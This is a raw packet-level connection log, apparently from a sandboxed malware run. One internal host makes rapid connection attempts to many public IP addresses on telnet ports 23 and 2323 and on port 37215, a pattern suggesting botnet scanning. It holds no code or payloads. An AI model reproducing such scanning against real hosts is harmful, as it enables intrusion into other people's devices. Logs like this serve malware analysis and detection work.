Oct 8, 2024 20:34:46.740276098 CEST	48168	23	192.168.2.14	5.137.253.153
Oct 8, 2024 20:34:46.740289927 CEST	48168	23	192.168.2.14	164.76.41.59
Oct 8, 2024 20:34:46.740293980 CEST	48168	23	192.168.2.14	91.53.36.53
Oct 8, 2024 20:34:46.740293980 CEST	48168	23	192.168.2.14	199.88.132.118
Oct 8, 2024 20:34:46.740303993 CEST	48168	23	192.168.2.14	19.155.134.20
Oct 8, 2024 20:34:46.740303993 CEST	48168	23	192.168.2.14	164.54.225.191
Oct 8, 2024 20:34:46.740317106 CEST	48168	23	192.168.2.14	159.71.168.129
Oct 8, 2024 20:34:46.740319014 CEST	48168	23	192.168.2.14	42.200.128.173
Oct 8, 2024 20:34:46.740319014 CEST	48168	23	192.168.2.14	123.93.26.90
Oct 8, 2024 20:34:46.740340948 CEST	48168	23	192.168.2.14	146.48.143.212
Oct 8, 2024 20:34:46.740350008 CEST	48168	23	192.168.2.14	183.254.142.131
Oct 8, 2024 20:34:46.740350962 CEST	48168	23	192.168.2.14	193.188.221.201
Oct 8, 2024 20:34:46.740355968 CEST	48168	23	192.168.2.14	117.58.170.136
Oct 8, 2024 20:34:46.740355968 CEST	48168	23	192.168.2.14	72.228.214.54
Oct 8, 2024 20:34:46.740362883 CEST	48168	23	192.168.2.14	5.109.47.59
Oct 8, 2024 20:34:46.740374088 CEST	48168	23	192.168.2.14	170.201.92.139
Oct 8, 2024 20:34:46.740380049 CEST	48168	23	192.168.2.14	1.91.26.228
Oct 8, 2024 20:34:46.740381002 CEST	48168	2323	192.168.2.14	17.62.56.60
Oct 8, 2024 20:34:46.740391016 CEST	48168	23	192.168.2.14	87.23.11.156
Oct 8, 2024 20:34:46.740392923 CEST	48168	23	192.168.2.14	208.213.54.21
Oct 8, 2024 20:34:46.740407944 CEST	48168	23	192.168.2.14	163.138.14.209
Oct 8, 2024 20:34:46.740425110 CEST	48168	23	192.168.2.14	184.186.82.151
Oct 8, 2024 20:34:46.740443945 CEST	48168	23	192.168.2.14	168.199.40.120
Oct 8, 2024 20:34:46.740449905 CEST	48168	23	192.168.2.14	27.156.22.85
Oct 8, 2024 20:34:46.740413904 CEST	48168	2323	192.168.2.14	2.243.33.38
Oct 8, 2024 20:34:46.740413904 CEST	48168	23	192.168.2.14	147.89.157.54
Oct 8, 2024 20:34:46.740413904 CEST	48168	23	192.168.2.14	44.19.234.16
Oct 8, 2024 20:34:46.740413904 CEST	48168	23	192.168.2.14	114.20.193.67
Oct 8, 2024 20:34:46.740413904 CEST	48168	23	192.168.2.14	59.245.103.189
Oct 8, 2024 20:34:46.740457058 CEST	48168	23	192.168.2.14	145.217.11.222
Oct 8, 2024 20:34:46.740413904 CEST	48168	23	192.168.2.14	220.232.211.196
Oct 8, 2024 20:34:46.740467072 CEST	48168	23	192.168.2.14	71.149.28.154
Oct 8, 2024 20:34:46.740470886 CEST	48168	2323	192.168.2.14	117.203.48.122
Oct 8, 2024 20:34:46.740472078 CEST	48168	23	192.168.2.14	121.124.165.114
Oct 8, 2024 20:34:46.740482092 CEST	48168	23	192.168.2.14	203.178.134.164
Oct 8, 2024 20:34:46.740483999 CEST	48168	23	192.168.2.14	146.246.126.38
Oct 8, 2024 20:34:46.740483999 CEST	48168	23	192.168.2.14	58.97.250.198
Oct 8, 2024 20:34:46.740514994 CEST	48168	2323	192.168.2.14	66.96.127.141
Oct 8, 2024 20:34:46.740515947 CEST	48168	23	192.168.2.14	99.110.94.197
Oct 8, 2024 20:34:46.740515947 CEST	48168	23	192.168.2.14	199.54.141.24
Oct 8, 2024 20:34:46.740516901 CEST	48168	23	192.168.2.14	69.251.248.208
Oct 8, 2024 20:34:46.740515947 CEST	48168	23	192.168.2.14	23.39.196.78
Oct 8, 2024 20:34:46.740537882 CEST	48168	23	192.168.2.14	36.30.154.49
Oct 8, 2024 20:34:46.740544081 CEST	48168	23	192.168.2.14	152.39.195.102
Oct 8, 2024 20:34:46.740550995 CEST	48168	23	192.168.2.14	187.23.101.31
Oct 8, 2024 20:34:46.740550995 CEST	48168	23	192.168.2.14	119.0.45.88
Oct 8, 2024 20:34:46.740552902 CEST	48168	23	192.168.2.14	39.76.89.65
Oct 8, 2024 20:34:46.740555048 CEST	48168	23	192.168.2.14	32.110.66.167
Oct 8, 2024 20:34:46.740555048 CEST	48168	23	192.168.2.14	73.100.20.76
Oct 8, 2024 20:34:46.740576029 CEST	48168	23	192.168.2.14	78.8.161.190
Oct 8, 2024 20:34:46.740597010 CEST	48168	23	192.168.2.14	184.240.47.252
Oct 8, 2024 20:34:46.740603924 CEST	48168	23	192.168.2.14	2.213.209.222
Oct 8, 2024 20:34:46.740605116 CEST	48168	23	192.168.2.14	123.100.231.225
Oct 8, 2024 20:34:46.740607977 CEST	48168	23	192.168.2.14	77.250.228.74
Oct 8, 2024 20:34:46.740608931 CEST	48168	2323	192.168.2.14	107.119.237.12
Oct 8, 2024 20:34:46.740608931 CEST	48168	23	192.168.2.14	41.215.225.196
Oct 8, 2024 20:34:46.740608931 CEST	48168	23	192.168.2.14	186.102.247.160
Oct 8, 2024 20:34:46.740612030 CEST	48168	23	192.168.2.14	27.178.171.16
Oct 8, 2024 20:34:46.740628004 CEST	48168	23	192.168.2.14	170.53.27.166
Oct 8, 2024 20:34:46.740628004 CEST	48168	2323	192.168.2.14	108.177.32.57
Oct 8, 2024 20:34:46.740628958 CEST	48168	23	192.168.2.14	48.81.179.217
Oct 8, 2024 20:34:46.740628004 CEST	48168	23	192.168.2.14	80.80.157.26
Oct 8, 2024 20:34:46.740679026 CEST	48168	23	192.168.2.14	194.69.130.111
Oct 8, 2024 20:34:46.740681887 CEST	48168	23	192.168.2.14	159.189.247.227
Oct 8, 2024 20:34:46.740681887 CEST	48168	23	192.168.2.14	216.120.55.32
Oct 8, 2024 20:34:46.740719080 CEST	48168	23	192.168.2.14	126.190.138.165
Oct 8, 2024 20:34:46.740722895 CEST	48168	23	192.168.2.14	190.197.94.210
Oct 8, 2024 20:34:46.740722895 CEST	48168	23	192.168.2.14	101.191.134.82
Oct 8, 2024 20:34:46.740725040 CEST	48168	23	192.168.2.14	82.62.190.251
Oct 8, 2024 20:34:46.740725040 CEST	48168	23	192.168.2.14	117.184.5.18
Oct 8, 2024 20:34:46.740725040 CEST	48168	23	192.168.2.14	133.193.161.234
Oct 8, 2024 20:34:46.740726948 CEST	48168	23	192.168.2.14	168.242.85.35
Oct 8, 2024 20:34:46.740731001 CEST	48168	23	192.168.2.14	202.30.108.94
Oct 8, 2024 20:34:46.740731001 CEST	48168	23	192.168.2.14	100.56.221.33
Oct 8, 2024 20:34:46.740731001 CEST	48168	23	192.168.2.14	123.190.98.135
Oct 8, 2024 20:34:46.740740061 CEST	48168	23	192.168.2.14	146.235.122.111
Oct 8, 2024 20:34:46.740741014 CEST	48168	23	192.168.2.14	194.77.155.156
Oct 8, 2024 20:34:46.740741014 CEST	48168	23	192.168.2.14	81.211.114.242
Oct 8, 2024 20:34:46.740767956 CEST	48168	2323	192.168.2.14	151.142.214.83
Oct 8, 2024 20:34:46.740768909 CEST	48168	23	192.168.2.14	48.22.197.108
Oct 8, 2024 20:34:46.740768909 CEST	48168	23	192.168.2.14	202.121.196.204
Oct 8, 2024 20:34:46.740768909 CEST	48168	23	192.168.2.14	154.130.51.184
Oct 8, 2024 20:34:46.740770102 CEST	48168	23	192.168.2.14	66.27.142.33
Oct 8, 2024 20:34:46.740772963 CEST	48168	23	192.168.2.14	99.111.83.155
Oct 8, 2024 20:34:46.740772963 CEST	48168	23	192.168.2.14	13.101.48.194
Oct 8, 2024 20:34:46.740772963 CEST	48168	23	192.168.2.14	174.24.169.2
Oct 8, 2024 20:34:46.740772963 CEST	48168	23	192.168.2.14	96.5.178.104
Oct 8, 2024 20:34:46.740784883 CEST	48168	23	192.168.2.14	155.48.203.82
Oct 8, 2024 20:34:46.740786076 CEST	48168	2323	192.168.2.14	161.228.231.166
Oct 8, 2024 20:34:46.744451046 CEST	23	33142	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:46.744959116 CEST	23	33588	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:46.745137930 CEST	33588	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:46.745711088 CEST	2323	48168	5.16.126.131	192.168.2.14
Oct 8, 2024 20:34:46.745723009 CEST	23	48168	126.142.62.129	192.168.2.14
Oct 8, 2024 20:34:46.745732069 CEST	23	48168	2.128.197.133	192.168.2.14
Oct 8, 2024 20:34:46.745769978 CEST	48168	2323	192.168.2.14	5.16.126.131
Oct 8, 2024 20:34:46.745769978 CEST	48168	23	192.168.2.14	126.142.62.129
Oct 8, 2024 20:34:46.745820999 CEST	48168	23	192.168.2.14	2.128.197.133
Oct 8, 2024 20:34:46.745845079 CEST	23	48168	119.115.26.163	192.168.2.14
Oct 8, 2024 20:34:46.745857000 CEST	23	48168	20.176.10.84	192.168.2.14
Oct 8, 2024 20:34:46.745867014 CEST	23	48168	197.147.199.24	192.168.2.14
Oct 8, 2024 20:34:46.745878935 CEST	23	48168	196.219.189.216	192.168.2.14
Oct 8, 2024 20:34:46.745886087 CEST	48168	23	192.168.2.14	20.176.10.84
Oct 8, 2024 20:34:46.745889902 CEST	23	48168	187.22.145.194	192.168.2.14
Oct 8, 2024 20:34:46.745902061 CEST	23	48168	158.101.152.30	192.168.2.14
Oct 8, 2024 20:34:46.745908976 CEST	48168	23	192.168.2.14	119.115.26.163
Oct 8, 2024 20:34:46.745910883 CEST	48168	23	192.168.2.14	197.147.199.24
Oct 8, 2024 20:34:46.745910883 CEST	48168	23	192.168.2.14	196.219.189.216
Oct 8, 2024 20:34:46.745944023 CEST	48168	23	192.168.2.14	158.101.152.30
Oct 8, 2024 20:34:46.745994091 CEST	48168	23	192.168.2.14	187.22.145.194
Oct 8, 2024 20:34:46.746236086 CEST	23	48168	218.174.29.147	192.168.2.14
Oct 8, 2024 20:34:46.746248007 CEST	2323	48168	209.106.231.9	192.168.2.14
Oct 8, 2024 20:34:46.746258020 CEST	23	48168	149.160.65.35	192.168.2.14
Oct 8, 2024 20:34:46.746268988 CEST	23	48168	93.94.95.11	192.168.2.14
Oct 8, 2024 20:34:46.746278048 CEST	48168	23	192.168.2.14	218.174.29.147
Oct 8, 2024 20:34:46.746279001 CEST	23	48168	48.66.138.180	192.168.2.14
Oct 8, 2024 20:34:46.746290922 CEST	23	48168	103.41.95.127	192.168.2.14
Oct 8, 2024 20:34:46.746295929 CEST	48168	23	192.168.2.14	93.94.95.11
Oct 8, 2024 20:34:46.746300936 CEST	23	48168	168.73.138.28	192.168.2.14
Oct 8, 2024 20:34:46.746328115 CEST	48168	23	192.168.2.14	168.73.138.28
Oct 8, 2024 20:34:46.746342897 CEST	48168	23	192.168.2.14	149.160.65.35
Oct 8, 2024 20:34:46.746342897 CEST	48168	2323	192.168.2.14	209.106.231.9
Oct 8, 2024 20:34:46.746344090 CEST	48168	23	192.168.2.14	48.66.138.180
Oct 8, 2024 20:34:46.746344090 CEST	48168	23	192.168.2.14	103.41.95.127
Oct 8, 2024 20:34:46.812856913 CEST	2323	35484	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:46.813064098 CEST	35484	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:46.813591003 CEST	36176	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:46.818154097 CEST	2323	35484	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:46.819123983 CEST	2323	36176	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:46.819199085 CEST	36176	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:47.023235083 CEST	37215	52538	41.71.213.174	192.168.2.14
Oct 8, 2024 20:34:47.023351908 CEST	52538	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:47.217256069 CEST	23	45548	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:47.217648983 CEST	45548	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:47.218182087 CEST	46088	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:47.222851992 CEST	23	45548	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:47.223500013 CEST	23	46088	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:47.223654032 CEST	46088	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:47.327840090 CEST	37184	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:47.327840090 CEST	51370	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:47.327841997 CEST	48958	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:47.327841997 CEST	57526	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:47.327846050 CEST	54940	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:47.327841997 CEST	51694	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:47.327846050 CEST	45252	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:47.327852011 CEST	51302	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:47.327852011 CEST	32946	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:47.327855110 CEST	58346	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:47.334163904 CEST	37215	37184	41.93.241.64	192.168.2.14
Oct 8, 2024 20:34:47.334357977 CEST	37184	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:47.334414959 CEST	37215	54940	156.235.39.57	192.168.2.14
Oct 8, 2024 20:34:47.334446907 CEST	37215	48958	41.202.0.65	192.168.2.14
Oct 8, 2024 20:34:47.334479094 CEST	54940	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:47.334481955 CEST	37215	51370	41.47.159.130	192.168.2.14
Oct 8, 2024 20:34:47.334495068 CEST	48958	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:47.334512949 CEST	37215	51302	41.115.234.247	192.168.2.14
Oct 8, 2024 20:34:47.334528923 CEST	51370	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:47.334553957 CEST	37215	45252	41.7.7.103	192.168.2.14
Oct 8, 2024 20:34:47.334583998 CEST	37215	57526	156.198.67.203	192.168.2.14
Oct 8, 2024 20:34:47.334609985 CEST	45252	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:47.334615946 CEST	37215	32946	197.56.8.149	192.168.2.14
Oct 8, 2024 20:34:47.334619045 CEST	51302	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:47.334628105 CEST	57526	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:47.334645987 CEST	37215	51694	156.130.3.215	192.168.2.14
Oct 8, 2024 20:34:47.334676027 CEST	37215	58346	41.125.245.240	192.168.2.14
Oct 8, 2024 20:34:47.334688902 CEST	51694	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:47.334718943 CEST	58346	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:47.334722996 CEST	32946	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:47.335005999 CEST	44002	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:47.335752010 CEST	33544	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:47.336266041 CEST	37184	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:47.336266041 CEST	37184	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:47.336596966 CEST	37238	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:47.337023973 CEST	48958	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:47.337034941 CEST	51370	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:47.337038040 CEST	45252	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:47.337053061 CEST	58346	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:47.337055922 CEST	32946	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:47.337066889 CEST	51694	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:47.337069035 CEST	54940	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:47.337085962 CEST	51302	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:47.337122917 CEST	57526	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:47.337122917 CEST	57526	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:47.337430954 CEST	57578	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:47.340131998 CEST	37215	44002	197.160.183.42	192.168.2.14
Oct 8, 2024 20:34:47.340188026 CEST	44002	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:47.340228081 CEST	44002	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:47.340228081 CEST	44002	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:47.340594053 CEST	44010	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:47.340984106 CEST	37215	33544	156.15.227.166	192.168.2.14
Oct 8, 2024 20:34:47.341054916 CEST	33544	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:47.341087103 CEST	33544	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:47.341087103 CEST	33544	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:47.341293097 CEST	37215	37184	41.93.241.64	192.168.2.14
Oct 8, 2024 20:34:47.341456890 CEST	33552	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:47.341545105 CEST	37215	37238	41.93.241.64	192.168.2.14
Oct 8, 2024 20:34:47.341593027 CEST	37238	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:47.341867924 CEST	37238	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:47.342292070 CEST	37215	48958	41.202.0.65	192.168.2.14
Oct 8, 2024 20:34:47.342320919 CEST	37215	51370	41.47.159.130	192.168.2.14
Oct 8, 2024 20:34:47.342335939 CEST	48958	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:47.342349052 CEST	37215	57526	156.198.67.203	192.168.2.14
Oct 8, 2024 20:34:47.342365026 CEST	51370	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:47.342379093 CEST	37215	45252	41.7.7.103	192.168.2.14
Oct 8, 2024 20:34:47.342431068 CEST	45252	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:47.342468977 CEST	37215	57578	156.198.67.203	192.168.2.14
Oct 8, 2024 20:34:47.342519999 CEST	57578	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:47.342540026 CEST	57578	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:47.342768908 CEST	37215	58346	41.125.245.240	192.168.2.14
Oct 8, 2024 20:34:47.342818975 CEST	58346	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:47.343017101 CEST	37215	32946	197.56.8.149	192.168.2.14
Oct 8, 2024 20:34:47.343046904 CEST	37215	51694	156.130.3.215	192.168.2.14
Oct 8, 2024 20:34:47.343075991 CEST	37215	54940	156.235.39.57	192.168.2.14
Oct 8, 2024 20:34:47.343077898 CEST	32946	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:47.343096972 CEST	51694	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:47.343105078 CEST	37215	51302	41.115.234.247	192.168.2.14
Oct 8, 2024 20:34:47.343122005 CEST	54940	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:47.343177080 CEST	51302	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:47.345206022 CEST	37215	44002	197.160.183.42	192.168.2.14
Oct 8, 2024 20:34:47.345988989 CEST	37215	44010	197.160.183.42	192.168.2.14
Oct 8, 2024 20:34:47.346040010 CEST	44010	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:47.346055031 CEST	44010	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:47.346821070 CEST	37215	33544	156.15.227.166	192.168.2.14
Oct 8, 2024 20:34:47.346852064 CEST	37215	33552	156.15.227.166	192.168.2.14
Oct 8, 2024 20:34:47.346899986 CEST	33552	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:47.346910954 CEST	33552	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:47.347675085 CEST	37215	37238	41.93.241.64	192.168.2.14
Oct 8, 2024 20:34:47.347728014 CEST	37215	37238	41.93.241.64	192.168.2.14
Oct 8, 2024 20:34:47.347795010 CEST	37238	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:47.348494053 CEST	37215	57578	156.198.67.203	192.168.2.14
Oct 8, 2024 20:34:47.348555088 CEST	57578	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:47.351834059 CEST	37215	44010	197.160.183.42	192.168.2.14
Oct 8, 2024 20:34:47.353770018 CEST	37215	44010	197.160.183.42	192.168.2.14
Oct 8, 2024 20:34:47.353823900 CEST	44010	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:47.355160952 CEST	37215	33552	156.15.227.166	192.168.2.14
Oct 8, 2024 20:34:47.355207920 CEST	33552	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:47.359698057 CEST	38736	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:47.359707117 CEST	56250	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:47.359708071 CEST	40684	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:47.359723091 CEST	47142	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:47.364882946 CEST	37215	38736	197.29.27.45	192.168.2.14
Oct 8, 2024 20:34:47.365012884 CEST	37215	56250	156.68.138.126	192.168.2.14
Oct 8, 2024 20:34:47.365044117 CEST	37215	40684	41.32.197.61	192.168.2.14
Oct 8, 2024 20:34:47.365084887 CEST	56250	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:47.365084887 CEST	56250	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:47.365108013 CEST	40684	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:47.365108013 CEST	40684	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:47.365135908 CEST	38736	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:47.365135908 CEST	38736	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:47.365175962 CEST	37215	47142	156.151.29.185	192.168.2.14
Oct 8, 2024 20:34:47.365223885 CEST	47142	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:47.365243912 CEST	47142	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:47.372972965 CEST	37215	56250	156.68.138.126	192.168.2.14
Oct 8, 2024 20:34:47.373045921 CEST	56250	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:47.373888969 CEST	37215	40684	41.32.197.61	192.168.2.14
Oct 8, 2024 20:34:47.373940945 CEST	40684	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:47.374911070 CEST	37215	38736	197.29.27.45	192.168.2.14
Oct 8, 2024 20:34:47.374923944 CEST	37215	47142	156.151.29.185	192.168.2.14
Oct 8, 2024 20:34:47.374947071 CEST	38736	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:47.374960899 CEST	47142	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:47.383558989 CEST	37215	57526	156.198.67.203	192.168.2.14
Oct 8, 2024 20:34:47.383573055 CEST	37215	37184	41.93.241.64	192.168.2.14
Oct 8, 2024 20:34:47.387989044 CEST	37215	33544	156.15.227.166	192.168.2.14
Oct 8, 2024 20:34:47.388144016 CEST	37215	44002	197.160.183.42	192.168.2.14
Oct 8, 2024 20:34:47.391695023 CEST	56968	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:47.391711950 CEST	45518	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:47.396603107 CEST	37215	56968	41.11.98.189	192.168.2.14
Oct 8, 2024 20:34:47.396658897 CEST	56968	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:47.396684885 CEST	56968	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:47.397092104 CEST	37215	45518	156.227.235.113	192.168.2.14
Oct 8, 2024 20:34:47.397187948 CEST	45518	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:47.397187948 CEST	45518	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:47.402318001 CEST	37215	56968	41.11.98.189	192.168.2.14
Oct 8, 2024 20:34:47.402364969 CEST	56968	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:47.402792931 CEST	37215	45518	156.227.235.113	192.168.2.14
Oct 8, 2024 20:34:47.403409004 CEST	45518	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:47.423719883 CEST	48286	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:47.429039955 CEST	37215	48286	156.226.176.193	192.168.2.14
Oct 8, 2024 20:34:47.429105997 CEST	48286	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:47.429130077 CEST	48286	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:47.434573889 CEST	37215	48286	156.226.176.193	192.168.2.14
Oct 8, 2024 20:34:47.434626102 CEST	48286	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:48.185812950 CEST	23	33588	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:48.186191082 CEST	33588	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:48.186786890 CEST	33606	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:48.187196970 CEST	48168	2323	192.168.2.14	136.5.84.1
Oct 8, 2024 20:34:48.187205076 CEST	48168	23	192.168.2.14	92.2.115.244
Oct 8, 2024 20:34:48.187216997 CEST	48168	23	192.168.2.14	190.1.114.14
Oct 8, 2024 20:34:48.187216997 CEST	48168	23	192.168.2.14	72.251.170.74
Oct 8, 2024 20:34:48.187216997 CEST	48168	23	192.168.2.14	71.110.160.34
Oct 8, 2024 20:34:48.187221050 CEST	48168	23	192.168.2.14	210.156.117.176
Oct 8, 2024 20:34:48.187221050 CEST	48168	23	192.168.2.14	94.20.43.176
Oct 8, 2024 20:34:48.187236071 CEST	48168	23	192.168.2.14	188.216.199.195
Oct 8, 2024 20:34:48.187247992 CEST	48168	23	192.168.2.14	171.241.9.227
Oct 8, 2024 20:34:48.187258005 CEST	48168	23	192.168.2.14	187.120.188.65
Oct 8, 2024 20:34:48.187258005 CEST	48168	23	192.168.2.14	124.164.152.91
Oct 8, 2024 20:34:48.187267065 CEST	48168	2323	192.168.2.14	146.131.167.81
Oct 8, 2024 20:34:48.187267065 CEST	48168	23	192.168.2.14	117.163.200.182
Oct 8, 2024 20:34:48.187271118 CEST	48168	23	192.168.2.14	78.11.94.202
Oct 8, 2024 20:34:48.187293053 CEST	48168	23	192.168.2.14	208.86.116.162
Oct 8, 2024 20:34:48.187304974 CEST	48168	23	192.168.2.14	121.252.245.141
Oct 8, 2024 20:34:48.187309980 CEST	48168	23	192.168.2.14	87.58.128.59
Oct 8, 2024 20:34:48.187310934 CEST	48168	2323	192.168.2.14	118.131.45.33
Oct 8, 2024 20:34:48.187311888 CEST	48168	23	192.168.2.14	121.228.207.18
Oct 8, 2024 20:34:48.187311888 CEST	48168	23	192.168.2.14	79.217.121.222
Oct 8, 2024 20:34:48.187311888 CEST	48168	23	192.168.2.14	43.119.254.165
Oct 8, 2024 20:34:48.187311888 CEST	48168	23	192.168.2.14	59.74.44.38
Oct 8, 2024 20:34:48.187326908 CEST	48168	23	192.168.2.14	190.204.151.66
Oct 8, 2024 20:34:48.187326908 CEST	48168	23	192.168.2.14	218.60.140.176
Oct 8, 2024 20:34:48.187326908 CEST	48168	23	192.168.2.14	42.235.195.39
Oct 8, 2024 20:34:48.187326908 CEST	48168	23	192.168.2.14	93.46.46.242
Oct 8, 2024 20:34:48.187329054 CEST	48168	23	192.168.2.14	170.129.12.122
Oct 8, 2024 20:34:48.187330961 CEST	48168	23	192.168.2.14	92.224.212.137
Oct 8, 2024 20:34:48.187335014 CEST	48168	23	192.168.2.14	80.167.211.207
Oct 8, 2024 20:34:48.187361002 CEST	48168	2323	192.168.2.14	219.206.150.47
Oct 8, 2024 20:34:48.187364101 CEST	48168	23	192.168.2.14	79.82.98.156
Oct 8, 2024 20:34:48.187406063 CEST	48168	23	192.168.2.14	109.65.146.126
Oct 8, 2024 20:34:48.187406063 CEST	48168	23	192.168.2.14	118.91.211.242
Oct 8, 2024 20:34:48.187407017 CEST	48168	23	192.168.2.14	156.117.2.87
Oct 8, 2024 20:34:48.187413931 CEST	48168	23	192.168.2.14	109.14.173.164
Oct 8, 2024 20:34:48.187421083 CEST	48168	23	192.168.2.14	143.1.244.216
Oct 8, 2024 20:34:48.187412024 CEST	48168	23	192.168.2.14	154.69.35.39
Oct 8, 2024 20:34:48.187413931 CEST	48168	23	192.168.2.14	114.136.208.60
Oct 8, 2024 20:34:48.187421083 CEST	48168	23	192.168.2.14	23.61.218.219
Oct 8, 2024 20:34:48.187413931 CEST	48168	23	192.168.2.14	157.226.161.200
Oct 8, 2024 20:34:48.187437057 CEST	48168	2323	192.168.2.14	183.255.92.207
Oct 8, 2024 20:34:48.187439919 CEST	48168	23	192.168.2.14	101.195.186.64
Oct 8, 2024 20:34:48.187447071 CEST	48168	23	192.168.2.14	36.215.102.167
Oct 8, 2024 20:34:48.187457085 CEST	48168	23	192.168.2.14	211.237.255.192
